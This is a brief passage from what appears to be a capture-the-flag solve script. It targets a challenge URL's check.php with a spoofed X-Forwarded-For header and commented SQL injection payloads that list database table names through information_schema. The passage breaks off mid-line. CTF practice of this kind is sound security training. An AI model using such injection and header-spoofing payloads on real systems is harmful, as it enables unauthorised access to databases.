url="http://e460e3b7-ea11-46b9-a14a-6f68788be430.challenge.qsnctf.com:8081/check.php?data="flag=""data=""header={"X-Forwarded-For":"127.0.0.1"}# payload="(select group_concat(table_name) from information_schema.`TABLES` where table_schema = database())"# payload="(select group...